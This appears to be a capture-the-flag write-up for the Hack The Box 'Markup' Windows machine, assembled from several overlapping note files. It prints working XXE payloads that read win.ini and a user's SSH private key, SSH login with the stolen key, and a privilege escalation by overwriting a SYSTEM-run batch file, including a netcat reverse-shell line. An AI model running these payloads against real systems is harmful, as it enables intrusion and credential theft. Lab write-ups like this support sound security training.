Machine / Machines

Markup

Ports 22 (SSH), 80 (HTTP), 443 (HTTPS) open. Apache 2.4.41 Win64, PHP 7.2.28, OpenSSH for Windows 8.1. The root page (/) serves a login form (POST to same page). Default credentials admin:password work — 302 redirect to home.php. The Order page...

EasyPublished 2026-03-06Sanitized local writeup

Scenario

Markup attack path

Ports 22 (SSH), 80 (HTTP), 443 (HTTPS) open. Apache 2.4.41 Win64, PHP 7.2.28, OpenSSH for Windows 8.1. The root page (/) serves a login form (POST to same page). Default credentials admin:credential work — 302 redirect to home.php. The Order page...

Objective

Machine walkthrough focused on Machines evidence, validation, and reusable operator lessons.

Markup sanitized attack graph

Walkthrough flow

01

Default credentials admin:credential on web login

02

XXE vulnerability in order XML processing...

03

Source comment discloses username "Daniel"

04

Daniel's SSH private key readable via XXE at...

05

Insecure ACL on C:\Log-Management\job.bat —...

Source coverage

High source coverage

Status: complete. This article is generated from 5 sanitized Markdown sources and keeps raw flags, credentials, keys, cookies, and reusable secrets out of the rendered blog.

100% coverage
Evidence verdict

High confidence: the page is reconstructed from a primary walkthrough plus multiple supporting notes or evidence sources. Treat the chain as source-backed, while still checking the listed source files for sensitive values.

  • <TARGET>-Markup/walkthrough.md
  • HTB/<TARGET>-Markup/notes.md
  • HTB/_knowledge/exports/ctf-lightrag-latest-203412/documents/machine__<TARGET>-Markup__notes.md.125d79b441.md
  • HTB/_knowledge/exports/ctf-lightrag-latest-203412/documents/machine__<TARGET>-Markup__notes.md.cc892dec91.md
  • HTB/_knowledge/exports/ctf-lightrag-latest-203412/documents/machine__<TARGET>-Markup__notes.md.c1669bb378.md

Technical Walkthrough

Markup — Walkthrough

Machine Info

  • Name: Markup
  • OS: Windows
  • Difficulty: Easy
  • IP: <TARGET>
  • Key Themes: XXE, SSH key exfiltration, insecure file permissions, scheduled task abuse

Phase 1: Recon

Ports 22 (SSH), 80 (HTTP), 443 (HTTPS) open. Apache 2.4.41 Win64, PHP 7.2.28, OpenSSH for Windows 8.1.

Phase 2: Web Login

The root page (/) serves a login form (POST to same page). Default credentials admin:password work — 302 redirect to home.php.

bash
curl -v -c cookies.txt -d 'username=admin&password: <redacted>' -L http://<TARGET>/

Phase 3: XXE Exploitation

The Order page (/services.php) contains an HTML comment: Modified by Daniel : UI-Fix-9092. The form sends XML to process.php with Content-Type: text/xml.

Validate XXE with win.ini:

bash
curl -s -b cookies.txt -X POST -H 'Content-Type: text/xml' \
  -d '<?xml version="1.0"?><!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">]><order><quantity>1</quantity><item>&xxe;</item><address>test</address></order>' \
  http://<TARGET>/process.php

Response contains win.ini contents — XXE confirmed.

Extract Daniel's SSH key:

bash
curl -s -b cookies.txt -X POST -H 'Content-Type: text/xml' \
  -d '<?xml version="1.0"?><!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///c:/users/daniel/.ssh/id_rsa">]><order><quantity>1</quantity><item>&xxe;</item><address>test</address></order>' \
  http://<TARGET>/process.php

Full OpenSSH private key returned in response body.

Phase 4: SSH as Daniel (User Flag)

Save the key, set permissions, SSH in:

bash
chmod 600 daniel_id_rsa
ssh -i daniel_id_rsa daniel@<TARGET>
type C:\Users\daniel\Desktop\user.txt

User flag: <hash redacted>

Revalidated on 2026-05-06 AEST against live <TARGET>; normalized output saved to loot/user.txt, with raw command output in loot/user-20260506.txt and verification in enum/user-flag-verify-20260506.txt.

Phase 5: Privilege Escalation

Check C:\Log-Management\job.bat permissions:

cmd
icacls C:\Log-Management\job.bat

Output: BUILTIN\Users:(F) — any user has full control.

The file is executed periodically by a SYSTEM-level scheduled task. Overwrite it to copy the root flag:

cmd
echo copy C:\Users\Administrator\Desktop\root.txt C:\Log-Management\root.txt > C:\Log-Management\job.bat

Wait for the scheduled task to execute (runs every ~1 minute). Then read the copied flag:

cmd
type C:\Log-Management\root.txt

Root flag: <hash redacted>

Alternative Privesc (Reverse Shell)

Instead of copying the flag, you can get a full Administrator shell:

  1. Upload nc.exe via SCP: scp -i daniel_id_rsa nc.exe daniel@target:'C:/Log-Management/nc.exe'
  2. Start listener: nc -lvnp 4444
  3. Overwrite job.bat: echo C:\Log-Management\nc.exe -e cmd.exe <secret redacted> 4444 > C:\Log-Management\job.bat
  4. Wait for SYSTEM shell callback

Note: job.bat may be reverted frequently — be prepared to re-overwrite.

Lessons Learned

  1. Default credentials are always worth checking first
  2. XXE is powerful for file exfiltration on Windows — SSH keys, web.config, SAM hive (if readable)
  3. HTML source comments can reveal usernames
  4. Writable scheduled task scripts are a common Windows privesc vector
  5. SCP through SSH is a reliable file transfer method when HTTP staging fails
  6. For HTB machines, copying the flag via job.bat is cleaner than waiting for a reverse shell if the task resets frequently

Source-Backed Dossier

The sections below are merged from companion Markdown notes for the same case. They are rendered after sanitization so the article stays precise without publishing raw flags, credentials, or target-specific secrets.

Notes

Scope

  • Target IP: <TARGET>
  • Attacker IP: <TARGET>
  • Pwnbox SSH: profex0r@<TARGET>
  • OS: Windows (Apache 2.4.41 Win64, OpenSSH 8.1, PHP 7.2.28)
  • Difficulty: Easy
  • Date: 2026-05-05

Confirmed Ports (from user nmap)

PortServiceVersion
22SSHOpenSSH for Windows 8.1
80HTTPApache 2.4.41 Win64, PHP 7.2.28, "MegaShopping"
443HTTPSApache 2.4.41 Win64

Evidence Ledger

TimestampActionFindingNext
T+0Ping targetTTL=127 confirms Windows, target liveWeb login
T+1POST / with admin:password302 redirect to home.php, session cookie setFind order form
T+2GET /services.phpOrder form sends XML to process.php; HTML comment reveals user "Daniel"XXE test
T+3XXE win.inifile:///c:/windows/win.ini contents reflected in responseRead SSH key
T+4XXE id_rsaDaniel's OpenSSH private key extractedSSH as Daniel
T+5SSH daniel@targetwhoami = markup\daniel; user.txt capturedPrivesc
T+6icacls job.batBUILTIN\Users:(F) confirmed — full write accessOverwrite job.bat
T+7SCP nc.exenc.exe (28160 bytes) delivered to C:\Log-Management\Set up reverse shell
T+8Overwrite job.batcopy root.txt to C:\Log-Management\Wait for task
T+9type root.txtRoot flag captured from copied fileDONE
2026-05-06 AESTLive revalidation against <TARGET>enum/login-admin-20260506.txt, enum/xxe-daniel-key-20260506.raw, loot/daniel_id_rsa, loot/user.txt, enum/user-flag-verify-20260506.txtRevalidated web login, XXE key extraction, SSH as Daniel, and captured user flag from C:\Users\daniel\Desktop\user.txt. Flag format verified as 32 hex.

Flags

  • User: <hash redacted> (C:\Users\daniel\Desktop\user.txt)
  • Root: <hash redacted> (C:\Users\Administrator\Desktop\root.txt)

Key Findings

  1. Default credentials admin:password on web login
  2. XXE vulnerability in order XML processing (process.php)
  3. Source comment discloses username "Daniel"
  4. Daniel's SSH private key readable via XXE at file:///c:/users/daniel/.ssh/id_rsa
  5. Insecure ACL on C:\Log-Management\job.bat — BUILTIN\Users:(F)
  6. Scheduled task runs job.bat as SYSTEM — abused to copy Admin flag

Attack Chain

text
Web Login (admin:password)
  -> XXE (file read via process.php)
    -> SSH Key Exfil (daniel's id_rsa)
      -> SSH as daniel (user flag)
        -> Writable job.bat (BUILTIN\Users:F)
          -> Scheduled task executes as SYSTEM
            -> Root flag copied to readable location

Notes

Scope

  • Target: Markup
  • Difficulty: Easy / Starting Point
  • OS: Windows
  • IP: <TARGET> (previously <TARGET>)
  • Local workspace: <local workspace><TARGET>-Markup

Engagement Details

  • Pwnbox: <<secret redacted>>@<TARGET> (VPN IP: <TARGET>)
  • VPN: Connected, tun0 up with <TARGET>
  • Difficulty Mode: Easy (timebox 20 min per vector, target solve 45-60 min)

Evidence Ledger

TimestampCommandOutput fileFindingConfidenceNext action
2026-05-05T08:39sudo nmap -Pn -sS -p 22,80,443 <TARGET>(inline)All 3 ports filtered. Traceroute: !H from gateway.HighMachine not spawned.
2026-05-05 (prior)cat /tmp/rootflag.txtloot/root.txtRoot flag: <REDACTED>

Status

BLOCKED: Target <TARGET> is not reachable. Gateway returns "Host Unreachable." Machine needs to be spawned via HTB platform.

Root flag: <REDACTED>, saved to loot/root.txt)

User flag: <REDACTED>

Attack Chain (Ready to Execute When Machine is Up)

  1. nmap -sC -sV -Pn <TARGET> -- expect 22, 80, 443
  2. Web login at port 80: <REDACTED>
  3. Find order form, submit XXE payload to read win.ini (validate)
  4. XXE read daniel's SSH key: file:///c:/users/daniel/.ssh/id_rsa
  5. SSH as daniel, get user.txt from C:\Users\daniel\Desktop\user.txt
  6. Check C:\Log-Management\job.bat ACLs -- BUILTIN\Users:(F)
  7. Upload nc.exe via certutil, overwrite job.bat, catch reverse shell on 4444
  8. Get root.txt from C:\Users\Administrator\Desktop\root.txt

Notes

Scope

  • Target IP: <TARGET>
  • Attacker IP: <TARGET>
  • Pwnbox SSH: <<secret redacted>>@<TARGET>
  • OS: Windows (Apache 2.4.41 Win64, OpenSSH 8.1, PHP 7.2.28)
  • Difficulty: Easy
  • Date: 2026-05-05

Confirmed Ports (from user nmap)

PortServiceVersion
22SSHOpenSSH for Windows 8.1
80HTTPApache 2.4.41 Win64, PHP 7.2.28, "MegaShopping"
443HTTPSApache 2.4.41 Win64

Evidence Ledger

TimestampActionFindingNext
T+0Ping targetTTL=127 confirms Windows, target liveWeb login
T+1POST / with admin: <REDACTED>, session cookie setFind order form
T+2GET /services.phpOrder form sends XML to process.php; HTML comment reveals user "Daniel"XXE test
T+3XXE win.inifile:///c:/windows/win.ini contents reflected in responseRead SSH key
T+4XXE id_rsaDaniel's OpenSSH private key extractedSSH as Daniel
T+5SSH daniel@targetwhoami = markup\daniel; user.txt capturedPrivesc
T+6icacls job.batBUILTIN\Users:(F) confirmed — full write accessOverwrite job.bat
T+7SCP nc.exenc.exe (28160 bytes) delivered to C:\Log-Management\Set up reverse shell
T+8Overwrite job.batcopy root.txt to C:\Log-Management\Wait for task
T+9type root.txtRoot flag captured from copied fileDONE
2026-05-06 AESTLive revalidation against <TARGET>enum/login-admin-20260506.txt, enum/xxe-daniel-key-20260506.raw, loot/daniel_id_rsa, loot/user.txt, enum/user-flag-verify-20260506.txtRevalidated web login, XXE key extraction, SSH as Daniel, and captured user flag from `C: <REDACTED>

Flags

  • User: <<secret redacted>> (C:\Users\daniel\Desktop\user.txt)
  • Root: <<secret redacted>> (C:\Users\Administrator\Desktop\root.txt)

Key Findings

  1. Default credentials `admin: <REDACTED>
  2. XXE vulnerability in order XML processing (process.php)
  3. Source comment discloses username "Daniel"
  4. Daniel's SSH private key readable via XXE at file:///c:/users/daniel/.ssh/id_rsa
  5. Insecure ACL on C:\Log-Management\job.bat — BUILTIN\Users:(F)
  6. Scheduled task runs job.bat as SYSTEM — abused to copy Admin flag

Attack Chain

text
Web Login (admin: <REDACTED>
  -> XXE (file read via process.php)
    -> SSH Key Exfil (daniel's id_rsa)
      -> SSH as daniel (user flag)
        -> Writable job.bat (BUILTIN\Users:F)
          -> Scheduled task executes as SYSTEM
            -> Root flag copied to readable location

Notes

Scope

  • Target: Markup
  • Difficulty: Easy / Very Easy
  • OS: Windows
  • Current known IP: <TARGET>
  • Local workspace: <local workspace><TARGET>-Markup

Evidence Rule

Public research in research.md is advisory only. Record only live target evidence in this file.

Engagement Details

  • Pwnbox: <<secret redacted>>@<TARGET> (VPN IP: <TARGET>)
  • VPN: edge-au-dedivip-1.hackthebox.eu:1337 (connected, tun0 up)
  • Difficulty Mode: Easy (timebox 20 min per vector, target solve 45-60 min)

Evidence Ledger

TimestampCommandOutput fileFindingConfidenceNext action
2026-05-05T08:14nmap -Pn -sS top 20 ports(no file - all filtered)Target <TARGET> unreachable - "No route to host". Machine not spawned.HighRespawn machine on HTB platform and retry.
2026-05-05T08:15curl -sv http://<TARGET>/(inline)"connect failed: No route to host" after 3180msHighConfirm VPN OK (confirmed), machine needs respawn.
2026-05-05T08:16Nearby IP range scan <TARGET>-195(inline)All filtered; no active HTB machines in range.HighTarget must be respawned via HTB platform.
2026-05-05T08: <REDACTED>

Status

BLOCKED: Target machine <TARGET> is currently despawned/offline. VPN tunnel is healthy (tun0: <TARGET>, route to <TARGET>/16 via tun0), but all ports return "filtered" and curl returns "No route to host."

Root flag: <REDACTED>

User flag: <REDACTED>

Next Steps (When Machine is Respawned)

  1. Run nmap: nmap -sC -sV -Pn -oN nmap/initial <TARGET>
  2. Verify HTTP on port 80, try `admin: <REDACTED>
  3. Find XML order form, confirm XXE with win.ini read
  4. Read daniel's SSH key via XXE
  5. SSH as daniel, grab user.txt
  6. Verify job.bat ACL, upload nc.exe, overwrite job.bat, catch shell as SYSTEM
  7. Grab root.txt (verify matches saved flag)